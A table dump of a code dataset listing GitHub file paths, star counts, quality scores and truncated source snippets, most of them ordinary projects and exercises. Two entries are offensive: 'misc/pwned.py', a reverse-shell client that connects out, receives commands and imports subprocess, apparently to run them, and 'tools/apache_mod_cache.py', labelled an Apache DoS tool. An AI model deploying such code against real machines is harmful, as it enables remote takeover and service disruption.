max_stars_repo_path stringlengths 3 269 | max_stars_repo_name stringlengths 4 119 | max_stars_count int64 0 191k | id stringlengths 1 7 | content stringlengths 6 1.05M | score float64 0.23 5.13 | int_score int64 0 5 |
|---|---|---|---|---|---|---|
src/inversion/count_inversions.py | sahayabhishek/learning-algorithms | 0 | 12773151 | <filename>src/inversion/count_inversions.py
# Question
#
# The input file 'IntegerArray.txt' contains all of the 100,000 integers between 1 and 100,000 (inclusive) in some
# order, with no integer repeated.
#
# The task is to compute the number of inversions in the file given, where the i^{th} row of the file indicates... | 4.15625 | 4 |
300-/659.py | yshshadow/Leetcode | 0 | 12773152 | # You are given an integer array sorted in ascending order (may contain duplicates), you need to split them into several subsequences, where each subsequences consist of at least 3 consecutive integers. Return whether you can make such a split.
#
# Example 1:
# Input: [1,2,3,3,4,5]
# Output: True
# Explanation:
# You c... | 3.859375 | 4 |
conf/metadata.py | underworldcode/petsc4py | 3 | 12773153 | <filename>conf/metadata.py<gh_stars>1-10
classifiers = """
License :: OSI Approved :: BSD License
Operating System :: POSIX
Intended Audience :: Developers
Intended Audience :: Science/Research
Programming Language :: C
Programming Language :: C++
Programming Language :: Cython
Programming Language :: Python
Programmin... | 1.703125 | 2 |
capsnets_laseg/io/transforms_gens.py | jchen42703/CapsNetsLASeg | 17 | 12773154 | <filename>capsnets_laseg/io/transforms_gens.py<gh_stars>10-100
import numpy as np
from keras_med_io.utils.custom_augmentations import get_positive_idx, get_random_slice_idx
from keras_med_io.utils.shape_io import reshape
from keras_med_io.base_generators.base_gens import BaseTransformGenerator
import nibabel as nib
imp... | 2.625 | 3 |
website.py | GVineeta/movie-trailer-website_2 | 0 | 12773155 | # website.py
# Created by: <NAME>
# Date: 5 June 2015
# Purpouse: This file is for instantiating all the movie objects and then
# call display_page.py to render the movies in an html page
import display_page
import movie
# Creating objects for my favourite movie
cars = movie.Movie(
"Cars",
"Story ... | 2.921875 | 3 |
Code/game_projects/Roll-a-dice/dice.py | Kevinjadia/Hacktoberfest_DSA_2021 | 4 | 12773156 | <gh_stars>1-10
import random
from math import ceil, sqrt
import colored
from colored import stylize
_MAG_BOLD = colored.fg("magenta") + colored.attr("bold")
_YELLOW_BOLD = colored.fg("yellow_4b") + colored.attr("bold")
_GREEN_BOLD = colored.fg("green") + colored.attr("bold")
class Die:
def __init__(self, faces_... | 2.96875 | 3 |
tools/apache_mod_cache.py | crempp/bin | 0 | 12773157 | #!/usr/bin/python
import socket, getopt, sys
try:
opts, args = getopt.getopt(sys.argv[1:], "ht:")
except getopt.GetoptError, err:
print str(err)
exit()
def banner():
print "************************************************"
print "**|''''''''''''''''''''''''''''''''''''''''''|**"
print "**|Apache DoS tool ... | 2.53125 | 3 |
tests/test_modify.py | ganesh-k13/titanium-rhythm | 0 | 12773158 | <filename>tests/test_modify.py
import pytest
import string
import random
import os
import pkg_resources
from titanium_rhythm.modify import Song
SONG_FOLDER_PATH = pkg_resources.resource_filename('titanium_rhythm', 'songs/')
def test_modify():
rand_string = ''.join(random.choice(string.ascii_uppercase) for _ in rang... | 2.453125 | 2 |
pkgs/sdk-pkg/src/genie/libs/sdk/triggers/template/devicenotfound.py | jbronikowski/genielibs | 94 | 12773159 | <filename>pkgs/sdk-pkg/src/genie/libs/sdk/triggers/template/devicenotfound.py
''' triggerNoDevice template '''
# import ats
from ats import aetest
# import genie infra
from genie.harness.base import Trigger
@aetest.skip(reason='The device provided does not exist in the testbed yaml')
class TriggerDeviceNotF... | 1.742188 | 2 |
migrations/versions/12b0e8390634_add_tutor_and_moderator.py | iKintosh/Tink2020_LMS | 1 | 12773160 | """add Tutor and Moderator
Revision ID: 12b0e8390634
Revises: <PASSWORD>
Create Date: 2020-01-12 12:41:22.787337
"""
from alembic import op
import sqlalchemy as sa
# revision identifiers, used by Alembic.
revision = '12b0e8390634'
down_revision = '<PASSWORD>'
branch_labels = None
depends_on = None
def upgrade():
... | 1.914063 | 2 |
xsdata/formats/dataclass/models/generics.py | pashashocky/xsdata | 0 | 12773161 | <gh_stars>0
from dataclasses import dataclass
from dataclasses import field
from typing import Dict
from typing import Generic
from typing import List
from typing import Optional
from typing import TypeVar
from xsdata.formats.dataclass.models.elements import XmlType
T = TypeVar("T", bound=object)
@dataclass
class A... | 2.546875 | 3 |
test_frame/best_simple_example/test_publish.py | aopusd/distributed_framework | 2 | 12773162 | # -*- coding: utf-8 -*-
# @Author : ydf
# @Time : 2019/8/8 0008 14:57
import time
from test_frame.best_simple_example.test_consume import consumer
consumer.publisher_of_same_queue.clear()
# 这里的publisher_of_same_queue 也可以使用get_publisher函数得到发布者,但需要手动确保消费者的队列名字与发布者的队列名字一致,并且中间件种类一致。用法如下。
# pb = get_publisher('queue_... | 2.5 | 2 |
challenges/2020/13-shuttleSearch/python/partTwo.py | codemicro/adventOfCode | 9 | 12773163 | def partTwo(instr: str) -> int:
# This is the parsing section
service_list = instr.strip().split("\n")[-1].split(",")
eqns = []
for i, svc in enumerate(service_list):
if svc == "x":
continue
svc = int(svc)
v = 0
if i != 0:
v = svc - i # This is ... | 3.390625 | 3 |
src/old/fraglogic.py | saguilarDevel/open_schc | 1 | 12773164 | #---------------------------------------------------------------------------
import warnings
import struct
import sys
sys.path.append("../../PLIDO-tanupoo")
import fragment
#import schc_fragment as fragment
sys.path.append("../python")
import BitBuffer as BitBufferModule
#-------------------------------------------... | 2.328125 | 2 |
examples/eval_model_human.py | hwaranlee/ParlAI | 1 | 12773165 | # Copyright (c) 2017-present, Facebook, Inc.
# All rights reserved.
# This source code is licensed under the BSD-style license found in the
# LICENSE file in the root directory of this source tree. An additional grant
# of patent rights can be found in the PATENTS file in the same directory.
# <NAME>, KAIST: 2017-pres... | 2.1875 | 2 |
imm/_state.py | EBI-Metagenomics/imm-py | 0 | 12773166 | <reponame>EBI-Metagenomics/imm-py
from __future__ import annotations
from enum import Enum
from typing import Iterable, Type
from ._alphabet import Alphabet
from ._cdata import CData
from ._ffi import ffi, lib
from ._lprob import lprob_is_valid
from ._sequence import Sequence
from ._sequence_table import SequenceTabl... | 2.125 | 2 |
reporter/urls.py | AIRUNGU/promosy | 0 | 12773167 | from django.urls import path
from django.conf.urls import url
from reporter import views as r_views
from djgeojson.views import GeoJSONLayerView
from reporter import models as r_models
urlpatterns = [
path('home', r_views.Prohome, name='home'),
path('report/<str:code>/', r_views.Proreporter, name='code'),
... | 1.648438 | 2 |
pointnet2/train.py | hasanhamidi/Pointnet2_PyTorch | 0 | 12773168 | import os
import sys
pointnet2_dir = os.path.split(os.path.abspath(__file__))[0]
main_dir = "/".join(pointnet2_dir.split("/")[0:-1])
pointnet2_ops_lib_dir = main_dir+"/pointnet2_ops_lib/"
sys.path.insert(0,main_dir)
sys.path.insert(0,pointnet2_ops_lib_dir)
import hydra
import omegaconf
import pytorch_lightning as p... | 2 | 2 |
nicu_los/src/utils/data_helpers.py | bt-s/NICU-length-of-stay-prediction | 2 | 12773169 | <filename>nicu_los/src/utils/data_helpers.py
#!/usr/bin/python3
"""data_helpers.py
Various utility functions for data loading
"""
__author__ = "<NAME>"
import json, os, random
import numpy as np
import pandas as pd
from sklearn.utils import shuffle
from tqdm import tqdm
from nicu_los.src.utils.utils import get_s... | 2.734375 | 3 |
yacht/config/proto/policy_pb2.py | IusztinPaul/yacht | 5 | 12773170 | # Generated by the protocol buffer compiler. DO NOT EDIT!
# source: yacht/config/proto/policy.proto
import sys
_b=sys.version_info[0]<3 and (lambda x:x) or (lambda x:x.encode('latin1'))
from google.protobuf import descriptor as _descriptor
from google.protobuf import message as _message
from google.protobuf import re... | 1.21875 | 1 |
sanic_template/runner.py | aragentum/sanic-template | 2 | 12773171 | <filename>sanic_template/runner.py<gh_stars>1-10
from sanic import Sanic
from sanic_template import database, api, error
from sanic_template.conf import settings
from sanic_template.other import logging
app = Sanic("sanic_app", log_config=settings.LOGGING_CONFIG)
app.config.from_object(settings)
# init
logging.setu... | 2.078125 | 2 |
app/password_generator.py | chrisstime/nutcracker | 0 | 12773172 | <gh_stars>0
#!/usr/bin/env python3
"""Password generator module"""
from random import sample, choices
from string import ascii_letters, punctuation, digits
options_dict = {
'symbols': punctuation,
'letters': ascii_letters,
'numbers': digits
}
def _shuffle_characters(symbols: bool, letters: bool, number... | 3.6875 | 4 |
random_walk.py | leksoid/data-vis-project | 0 | 12773173 | <reponame>leksoid/data-vis-project<gh_stars>0
from random import choice
class RandomWalk:
"""A class to generate random walks"""
def __init__(self, num_points=5000):
self.num_points = num_points
self.x_values = [0]
self.y_values = [0]
def fill_walk(self):
"""Calculate al... | 3.65625 | 4 |
aligned_bam_to_cpg_scores.py | PacificBiosciences/pb-CpG-tools | 5 | 12773174 | #!/usr/bin/env python
# coding: utf-8
import argparse
import concurrent.futures
import logging
import numpy as np
import pandas as pd
import pyBigWig
import pysam
import os
import re
import sys
from Bio import SeqIO
from Bio.Seq import Seq
from collections import Counter
from numpy.lib.stride_tricks import sliding_wind... | 2.203125 | 2 |
src/mortgage_scenarios/utils.py | mielski/mortgage_scenario | 1 | 12773175 | import numpy as np
def get_monthly_rate(rate) -> float:
"""
computes the monthy interest rate based on the yearly interest rate
:param float rate: the yearly interest rate
:return: the monthly interest rate
This computation uses the 12th root on the growth factor
"""
growth_year = rate ... | 4.4375 | 4 |
tests/test_mock_twilio.py | gregziegan/eviction-tracker | 5 | 12773176 | <gh_stars>1-10
import unittest
import json
import os
from flask import Flask
from flask_sqlalchemy import SQLAlchemy
from flask_testing import TestCase
from eviction_tracker.detainer_warrants.models import PhoneNumberVerification
from eviction_tracker.database import db
from eviction_tracker.app import create_app
from... | 2.515625 | 3 |
misc/pwned.py | benhunter/py-stuff | 3 | 12773177 | # Open a reverse shell when executed on a victim computer.
import socket
import subprocess
HOST = "127.0.0.1"
PORT = 31337
sockobj = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sockobj.connect((HOST, PORT))
while 1:
data = sockobj.recv(4096) # returns a bytes object
# don't forget to decode the byte... | 2.65625 | 3 |
model/model.py | ddl-aambekar/model | 0 | 12773178 | <reponame>ddl-aambekar/model<filename>model/model.py
# This is a sample Python model
# Import dependencies
import random
# Define a helper function to generate a random number:
def random_number(start, stop):
return random.uniform(start, stop)
# Define a function to create an API
# To call, use {"data": {"star... | 3.0625 | 3 |
paint app/main.py | KhamisiKibet/Kivy | 0 | 12773179 | ########################################################################
## SPINN DESIGN CODE
# YOUTUBE: (SPINN TV) https://www.youtube.com/spinnTv
# WEBSITE: spinndesign.com
# TUTORIAL: KIVY
########################################################################
###############################################... | 2.453125 | 2 |
parseridge/parser/training/hyperparameters.py | jgontrum/parseridge | 6 | 12773180 | from copy import deepcopy
from dataclasses import dataclass
from parseridge.utils.logger import LoggerMixin
"""
TODO
[ ] Group the parameters
[ ] Add save to / load from YAML
[x] Add overwrite method from kwargs
"""
@dataclass
class Hyperparameters(LoggerMixin):
"""
Container for the various hyper-parameter... | 2.65625 | 3 |
Python-Chaptering/Chapter-4/7-testFastFlux.py | JARVIS-AI/python-codes | 8 | 12773181 | <gh_stars>1-10
#!/usr/bin/python
# -*- coding: utf-8 -*-
from scapy.all import *
dnsRecords = {}
def handlePkt(pkt):
if pkt.haslayer(DNSRR):
rrname = pkt.getlayer(DNSRR).rrname
rdata = pkt.getlayer(DNSRR).rdata
if dnsRecords.has_key(rrname):
if rdata not in dnsRecords[rrname]:
... | 2.6875 | 3 |
test_profanity_check.py | rnegron/django-profanity-check | 0 | 12773182 | import pytest
from profanity.templatetags.profanity import censor
@pytest.mark.parametrize("word", ["fuck", "shit", "cunt", "ass"])
def test_censors_profane_words(word):
assert censor(word) == ("*" * len(word))
@pytest.mark.parametrize("word", ["fudge", "poop", "baddie", "butt"])
def test_does_not_censor_other_... | 2.75 | 3 |
leds/views.py | alyoshenka/DjangoSite | 0 | 12773183 | from django.shortcuts import get_object_or_404, render
from django.urls import reverse
from django.http import HttpResponse, HttpResponseRedirect
import json
from .models import Color, Board, LED
def index(request):
"""Homepage"""
all_colors = Color.objects.all() # change to selected colors
all_boards ... | 2.359375 | 2 |
cmd/lambda/users/main.py | forstmeier/numermatic | 0 | 12773184 | <filename>cmd/lambda/users/main.py
import json
import os
import time
import uuid
import boto3
def handler(event, context):
print('event:', event)
user_id = str(uuid.uuid4().hex)
body = json.loads(event['body'])
dynamodb = boto3.client('dynamodb')
try:
put_item_response = dynamodb.put_item(
TableName=os.... | 2.203125 | 2 |
src/config.py | Biano-AI/serving-compare-middleware | 6 | 12773185 | <filename>src/config.py<gh_stars>1-10
# -*- encoding: utf-8 -*-
# ! python3
from __future__ import annotations
from pydantic import AnyUrl, BaseSettings
class Settings(BaseSettings):
tfserving_service_url: AnyUrl
torchserve_service_url: AnyUrl
triton_service_host: str
tfserving_grpc_host: str = "lo... | 1.6875 | 2 |
Professor/apps.py | AlirezAkbary/FeedbackSys | 0 | 12773186 | from django.apps import AppConfig
class ProfessorConfig(AppConfig):
name = 'Professor'
| 1.351563 | 1 |
octopus/config/cli.py | tuub/magnificent-octopus | 0 | 12773187 | <filename>octopus/config/cli.py<gh_stars>0
# command names and paths to scripts that can be run through the standard runner
CLI_SCRIPTS = {
"usermod" : "octopus.modules.account.scripts.UserMod"
} | 1.375 | 1 |
paper_notebooks/temp_ktica.py | andrewlferguson/hde | 5 | 12773188 | import numpy as np, pyemma as py
# from msmbuilder.decomposition.tica import tICA
from sklearn.kernel_approximation import Nystroem
class Kernel_tica(object):
def __init__(self, n_components, lag_time,
gamma, # gamma value for rbf kernel
n_components_nystroem=100, # ... | 2.421875 | 2 |
tests/test_transition.py | takuseno/kiox | 2 | 12773189 | <reponame>takuseno/kiox
from collections import deque
import numpy as np
from kiox.episode import EpisodeManager
from kiox.step import StepBuffer
from kiox.transition import FrameStackLazyTransition, SimpleLazyTransition
from kiox.transition_buffer import UnlimitedTransitionBuffer
from .utility import StepFactory
... | 2.0625 | 2 |
test/unit/builders/test_custom.py | jimporter/mopack | 0 | 12773190 | import os
import subprocess
from unittest import mock
from . import BuilderTest, MockPackage, through_json
from .. import mock_open_log
from mopack.builders import Builder
from mopack.builders.custom import CustomBuilder
from mopack.iterutils import iterate
from mopack.path import Path
from mopack.shell import ShellA... | 2.234375 | 2 |
tiny_hanabi/game/settings.py | ssokota/tiny-hanabi | 8 | 12773191 | <reponame>ssokota/tiny-hanabi
"""Learning settings for decentralized control. Most obvious setting is the
DecPOMDP, in which multiple learners interact with the environment. Other
settings are various ways of centralized the learning problem. In these
settings, a single agent dictates the policy of all players. Inherit... | 3.78125 | 4 |
src/ssm_document_generator/definition/parameters/parameter.py | awslabs/aws-systems-manager-document-generator | 54 | 12773192 | <filename>src/ssm_document_generator/definition/parameters/parameter.py
from ssm_document_generator import utils
class Parameter:
def __init__(self, name, description='', parameter_type='String', default=None, allowed_pattern=None):
self.name = name
self.parameter_type = parameter_type
sel... | 2.40625 | 2 |
test/geo/layer/test_parcel.py | Crashillo/CatAtom2Osm | 0 | 12773193 | import logging
import unittest
import mock
from qgis.core import QgsVectorLayer
from catatom2osm.app import QgsSingleton
from catatom2osm.geo.geometry import Geometry
from catatom2osm.geo.layer.cons import ConsLayer
from catatom2osm.geo.layer.parcel import ParcelLayer
qgs = QgsSingleton()
m_log = mock.MagicMock()
m_... | 2.515625 | 3 |
voting/urls.py | Tatuska23/hlasovani | 0 | 12773194 | <reponame>Tatuska23/hlasovani<filename>voting/urls.py
from django.conf.urls import url
from voting import views
## Seznam adres které projekt obsahuje, a funkcí adresy obsluhují.
## Úvod do urlpatterns je v myfirstapp/urls.py.
urlpatterns = [
## Prázdná adresa (^ - začátek řetězce, $ - konec řetězce) se zpracuje
... | 2.1875 | 2 |
kivy/input/provider.py | sirpercival/kivy | 317 | 12773195 | '''
Motion Event Provider
=====================
Abstract class for the implemention of a
:class:`~kivy.input.motionevent.MotionEvent`
provider. The implementation must support the
:meth:`~MotionEventProvider.start`, :meth:`~MotionEventProvider.stop` and
:meth:`~MotionEventProvider.update` methods.
'''
__all__ = ('Mot... | 2.625 | 3 |
auth/__init__.py | pfspontus/lexwheels | 0 | 12773196 | <reponame>pfspontus/lexwheels
"""
User authentication views
"""
import functools
from flask import Blueprint
from flask import g
from flask import redirect
from flask import request
from flask import url_for
from auth import views
define = views.define
auth_page = Blueprint('auth', __name__, url_prefix='/auth',
... | 2.578125 | 3 |
Patent_US20020125774A1_Molina_Martinez_Generator/Version_1/part_rotor.py | Jay4C/Python-Macros-For_FreeCAD | 0 | 12773197 | import FreeCAD, Part, Drawing, math, Mesh, importDXF
DOC = FreeCAD.activeDocument()
DOC_NAME = "part_rotor"
def clear_doc():
# Clear the active document deleting all the objects
for obj in DOC.Objects:
DOC.removeObject(obj.Name)
def setview():
# Rearrange View
FreeCAD.Gui.SendMsgToActiveVi... | 2.65625 | 3 |
hknweb/candidate/views/mass_add_cands.py | Boomaa23/hknweb | 0 | 12773198 | import csv
from collections import OrderedDict
import threading
import time
from typing import Tuple
from django.http import Http404, JsonResponse
from django.shortcuts import render
from django.conf import settings
from django.contrib.auth.models import BaseUserManager, Group, User
from django.core.mail import EmailM... | 2.15625 | 2 |
bittrex_api/utils/urls.py | kkristof200/py_bittrex_api | 18 | 12773199 | <reponame>kkristof200/py_bittrex_api<gh_stars>10-100
# --------------------------------------------------------------- Imports ----------------------------------------------------------------#
# System
from typing import Optional, Dict, Any
# Local
from . import strings
# --------------------------------------------... | 1.859375 | 2 |
app/app_builder.py | cupskeee/App-MFE | 0 | 12773200 | import datetime
from flask import Flask, redirect, url_for
from flask_sqlalchemy import SQLAlchemy
from app.extensions.db import db
# from app.models import User
app = Flask(__name__)
app.config.from_object('config')
db.init_app(app)
# user_manager = UserManager(app, db, User)
# login_manager = LoginManager()
# login... | 2.703125 | 3 |
simplifycitysimgeometry.py | architecture-building-systems/design-performance-workflows | 5 | 12773201 | <gh_stars>1-10
'''
simplifycitysimgeometry.py
Using a similar algorithm to shading.py, simplify rectangles in
the CitySim xml file by combining walls that belong to the same
building and zone and have the same construction information.
Take special care with opacity...
'''
from eppy.geometry.surface import tilt, angl... | 2.84375 | 3 |
loaders/attachments/test/test_opportunity_downloader.py | datumradix/fbointel | 57 | 12773202 | from contextlib import closing
from downloader import AttachmentDownloader
import unittest
import shelve
import os.path
class TestOpportunityDownloader(unittest.TestCase):
def setUp(self):
self.test_data = {
'FA4626-14-R-0011': [
{
'desc': 'Solicitation',
... | 2.5 | 2 |
tools/pytorch-quantization/tests/integration_test.py | GreyZzzzzzXh/TensorRT | 0 | 12773203 | <filename>tools/pytorch-quantization/tests/integration_test.py<gh_stars>0
#
# SPDX-FileCopyrightText: Copyright (c) 1993-2022 NVIDIA CORPORATION & AFFILIATES. All rights reserved.
# SPDX-License-Identifier: Apache-2.0
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except... | 1.890625 | 2 |
src/generalStatistics/generalStatistics.py | nickeita/su2021_is601_project2 | 0 | 12773204 | from statsAuxiliary.statsAuxiliary import StatsAuxiliary
from generalStatistics.generalMedian import general_median
from generalStatistics.generalMode import general_mode
from generalStatistics.generalMean import general_mean
class GeneralStatistics(StatsAuxiliary):
result = 0
def __init__(self):
sup... | 2.546875 | 3 |
easy_maps/admin.py | cyber-barrista/django-easy-maps | 114 | 12773205 | # -*- coding: utf-8 -*-
from django import forms
from django.contrib import admin
from django.utils.translation import gettext_lazy as _
from .models import Address
from .widgets import AddressWithMapWidget
class HasExceptionFilter(admin.SimpleListFilter):
title = _("exception")
parameter_name = "has_except... | 2.1875 | 2 |
isbndb/models.py | bbengfort/isbndb-python | 4 | 12773206 | <reponame>bbengfort/isbndb-python
class Model(object):
def __init__(self, xml):
self.raw_data = xml
def __str__(self):
return self.raw_data.toprettyxml( )
def _get_attribute(self, attr):
val = self.raw_data.getAttribute(attr)
if val == '':
return None
... | 2.96875 | 3 |
test/test_helpers.py | caimmy/karuo | 0 | 12773207 | # _*_ coding: utf-8 _*_
"""
-------------------------------------------------
@File Name: test_helpers
@Description:
@Author: caimmy
@date: 2019/10/22 17:47
-------------------------------------------------
Change Activity:
-------------------------------------------------
"""
import unittest
from unittest import Tes... | 2.1875 | 2 |
contest/youtube/n.py | Akash671/Codechef | 2 | 12773208 |
# cook your dish here
a=int(input())
b=int(input())
while(1):
if a%b==0:
print(a)
break
else:
a-=1
| 3.5 | 4 |
operadores-relacionais.py | anderr8/Introducao_Linguagem_Python | 0 | 12773209 | """
Operadores relacionais
== Igual
!= Diferente
> Maior
< Menor
>= Maior ou igual
<= Menor ou igual
Operadores Lógicos
Operador Operação
AND → Duas condições sejam verdadeiras
OR → Pelo menos uma condição seja ver... | 4.09375 | 4 |
scripts/beam_decode.py | quangvy2703/Up-Down-Captioner | 232 | 12773210 | #!/usr/bin/env python
"""
Decode a language model using one GPU.
"""
import numpy as np
import argparse
import sys
import json
import caffe
from evaluate import CaptionScorer
from util import restore_weights
def translate(vocab, blob):
caption = "";
w = 0;
while True:
next_word = vocab[int(blob[w]... | 2.5 | 2 |
django_decadence/urls.py | ksiazkowicz/django-decadence | 1 | 12773211 | <gh_stars>1-10
from django.conf.urls import url
from django_decadence.views import generate_html
urlpatterns = [
url(r'^template/$', generate_html, name='decadence_template'),
] | 1.445313 | 1 |
app.py | maikynata/bot-alerta-fogo | 1 | 12773212 | <reponame>maikynata/bot-alerta-fogo<filename>app.py
from flask import Flask
app = Flask(__name__, static_folder='static', static_url_path='')
@app.route("/")
def index():
# Render HTML with count variable
return app.send_static_file("index.html")
if __name__ == "__main__":
app.run() | 2.09375 | 2 |
rachis/urls.py | codeliezel/rachis | 0 | 12773213 | from django.urls import path, include
urlpatterns = [
path('api/', include(('rachis.apps.authentication.urls'), namespace='auth')),
path('api/', include(('rachis.apps.resource.urls'), namespace='resources')),
] | 1.546875 | 2 |
HelloWorld/Python01/_hello/math.py | grtlinux/KieaPython | 1 | 12773214 | # file: math.py
import math
print dir(math)
print math.pi
print math.e
print math.sin(1.0)
print math.sqrt(2)
| 1.945313 | 2 |
tests/dicts/test_benedict_casting.py | next-franciscoalgaba/python-benedict | 365 | 12773215 | # -*- coding: utf-8 -*-
from benedict import benedict
import unittest
class benedict_casting_test_case(unittest.TestCase):
def test__getitem__(self):
d = {
'a': 1,
'b': {
'c': {
'd': 2,
},
},
}
b = b... | 3.28125 | 3 |
Mundo 3/ex086.py | erickeloi/ExerciciosTreino | 0 | 12773216 | <reponame>erickeloi/ExerciciosTreino
# Exercício Python 086:
# Crie um programa que declare uma matriz de dimensão 3x3 e preencha com valores lidos pelo teclado.
# No final, mostre a matriz na tela, com a formatação correta.
matriz = list()
for contador in range(0, 10):
if 1 <= contador <= 3:
valor = int(i... | 4.4375 | 4 |
tests/list_view.py | Aloxaf/moshmosh | 114 | 12773217 | <gh_stars>100-1000
from moshmosh.extensions.pattern_matching.runtime import ListView
v = ListView([1, 2, 3, 5], range(1, 4))
v.sort(reverse=True)
assert v == [5, 3, 2]
v.sort(reverse=False)
assert v == [2, 3, 5]
v.sort(reverse=False, key=lambda x: -x)
assert v == [5, 3, 2]
assert isinstance(v, list) | 2.234375 | 2 |
fish-finder/bin/test-statistics.py | MRSD2018/reefbot-1 | 0 | 12773218 | from FishFinder import *
from numpy import *
import sys
if __name__=="__main__":
dist = Statistics()
print dist.mean()
print dist.variance()
print dist.standard_deviation()
num_samples = int(sys.argv[1])
s = random.normal(0,0.1,num_samples)
dist.update(num_samples,sum(s),sum(s**2.))
print dist.me... | 2.328125 | 2 |
Module01/AdvFunctions/DictParams2.py | fenglihanxiao/Python | 0 | 12773219 | <gh_stars>0
"""
1. **kwargs usage
"""
def test(**kwargs):
# Do not use **kwargs
# Print key serials
print(*kwargs)
_dict = kwargs
for k in _dict.keys():
print("Key=", k)
print("Value=", _dict[k])
print()
test(a=1, b=2, c=3)
"""
1. * -> unpack container type
"""
li... | 3.203125 | 3 |
main_processes/backend_monitor/main.py | microsoft/nxs | 5 | 12773220 | import time
from typing import Any, Dict, List
from configs import GLOBAL_QUEUE_NAMES
from nxs_libs.queue import NxsQueueType
from nxs_libs.simple_key_value_db import NxsSimpleKeyValueDbType
from nxs_types.log import NxsBackendCmodelThroughputLog, NxsBackendThroughputLog
from nxs_types.nxs_args import NxsBackendMonitor... | 1.929688 | 2 |
advanced_descriptors/__init__.py | penguinolog/advanced-descriptors | 2 | 12773221 | # Copyright 2017 - 2021 <NAME> aka penguinolog
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
# http://www.apache.org/licenses/LICENSE-2.0
# Unless required by applica... | 1.953125 | 2 |
python/day11.py | davidlowryduda/AoC18 | 0 | 12773222 | <reponame>davidlowryduda/AoC18
#! /usr/bin/env python3
"""
Solve day 11
"""
from utils import input_lines
def power_level(x, y, serial=8):
"""
A nonsense sequence of steps described in the puzzle instructions.
"""
rackID = x + 10
level = rackID * y
level += serial
level *= rackID
leve... | 4.09375 | 4 |
Test-Servers/client.py | Rajatkhatri7/OCR-Api | 0 | 12773223 | <reponame>Rajatkhatri7/OCR-Api<gh_stars>0
import requests
url = 'http://127.0.0.1:5000/v1/ocr'
my_img = {'file' : open('test.jpg' , 'rb')}
response = requests.post(url , files = my_img)
# response = requests.get(url)
print(response.json()) | 2.671875 | 3 |
db.py | ashwani1218/OpenMEMEs | 1 | 12773224 | <reponame>ashwani1218/OpenMEMEs
import sqlite3
DB_FILE = 'OpenMEMEs.db'
def createDB():
""" This function creates the necessary tables in the db.
UPDATE THIS WHEN YOU CREATE NEW TABLES
TABLES:
users -> This table has all the registered users.
posts -> This table contains all the posts posted by re... | 3.765625 | 4 |
venv/lib/python3.6/site-packages/ansible_collections/ansible/utils/tests/unit/plugins/filter/test_from_xml.py | usegalaxy-no/usegalaxy | 1 | 12773225 | # -*- coding: utf-8 -*-
# Copyright 2020 Red Hat
# GNU General Public License v3.0+
# (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
from __future__ import absolute_import, division, print_function
__metaclass__ = type
import unittest
from ansible.errors import AnsibleError
from ansible.errors import Ansi... | 2.125 | 2 |
openprocurement/auction/esco/tests/unit/constants.py | ProzorroUKR/openprocurement.auction.esco | 0 | 12773226 | # -*- coding: utf-8 -*-
AUCTIONS = {
'simple': 'openprocurement.auction.esco.auctions.simple',
'multilot': 'openprocurement.auction.esco.auctions.multilot',
}
| 0.972656 | 1 |
main.py | Lapland-UAS-Tequ/tequ-basler-app | 0 | 12773227 | import io
import json
import os
import sys
from http.server import ThreadingHTTPServer
from mjpegserver import StreamingHandler
from threading import Condition
from threading import Thread
import basler
from utility import ePrint
"""
FrameBuffer is a synchronized buffer which gets each frame and notifies to all waitin... | 2.984375 | 3 |
examples/optmod/dcopf/dcopf_api.py | Fuinn/mos-examples | 2 | 12773228 | <reponame>Fuinn/mos-examples
import os
import numpy as np
from dotenv import load_dotenv, find_dotenv
load_dotenv(find_dotenv())
from mos.interface import Interface
# Interface
interface = Interface()
# Delete model
interface.delete_model_with_name('DCOPF Model')
# New model
model = interface.new_model('./examples/... | 2.328125 | 2 |
Aulas/aula_2_-_uniform_filter/aula_2.py | ronaldosena/imagens-medicas-2 | 4 | 12773229 | # -*- coding: utf-8 -*-
# ------------------------------------------------------------------------------
# FEDERAL UNIVERSITY OF UBERLANDIA
# Faculty of Electrical Engineering
# Biomedical Engineering Lab
# ------------------------------------------------------------------------------
# Author: <NAME>
# Contact: <EMAIL... | 2.171875 | 2 |
tests/benchmark/pylot_benchmark_test.py | yujialuo/erdos | 0 | 12773230 | <gh_stars>0
import os
import sys
from absl import app
from absl import flags
sys.path.append(
os.path.dirname(
os.path.dirname(os.path.dirname(os.path.abspath(__file__)))))
from examples.benchmarks.pylot.camera_operator import CameraOperator
from examples.benchmarks.pylot.lidar_operator import LidarOperat... | 2.078125 | 2 |
backend/apps/volontulo/tests/views/api/offers/test_delete.py | magul/volontulo | 16 | 12773231 | <gh_stars>10-100
"""
.. module:: test_delete
"""
from rest_framework import status
from rest_framework.test import APITestCase
from apps.volontulo.factories import OfferFactory
from apps.volontulo.factories import OrganizationFactory
from apps.volontulo.factories import UserFactory
class TestAdminUserOffersDeleteAP... | 2.015625 | 2 |
download.py | delannoy/lastfm-explorer | 0 | 12773232 | #!/usr/bin/env python3
'''
Export lastFM data as JSON files and merge them into a flat pandas.DataFrame.
'''
from __future__ import annotations # [PEP 563 -- Postponed Evaluation of Annotations](https://www.python.org/dev/peps/pep-0563/)
from apiWrapper import Param, getReq
from util import flattenDF, loadJSON, merge... | 2.6875 | 3 |
servicemanager/service/smplayservice.py | alphagov/service-manager | 0 | 12773233 | <reponame>alphagov/service-manager
#!/usr/bin/env python
import os
import shutil
import zipfile
import stat
import copy
import types
from servicemanager.subprocess import Popen
from ..service.smservice import SmMicroServiceStarter
from smjvmservice import SmJvmService, SmJvmServiceStarter
from ..smfile import force_c... | 1.914063 | 2 |
plugins/duo_auth/vendor/duo_client_python/examples/report_auths_by_country.py | lukaszlaszuk/insightconnect-plugins | 46 | 12773234 | #!/usr/bin/env python
from __future__ import print_function
from __future__ import absolute_import
import csv
import sys
import duo_client
import json
from six.moves import input
argv_iter = iter(sys.argv[1:])
def get_next_arg(prompt):
try:
return next(argv_iter)
except StopIteration:
return ... | 2.453125 | 2 |
examples/pow/ex3.py | mcorne/python-by-example | 0 | 12773235 | print(pow(9, 2, 10))
| 2.265625 | 2 |
gram/admin.py | swanapole/insta | 0 | 12773236 | from django.contrib import admin
from .models import Post,Location
# Register your models here.
admin.site.register(Post)
admin.site.register(Location)
| 1.34375 | 1 |
vote/migrations/0021_auto_20201103_1923.py | stustanet/Wahlfang | 21 | 12773237 | <gh_stars>10-100
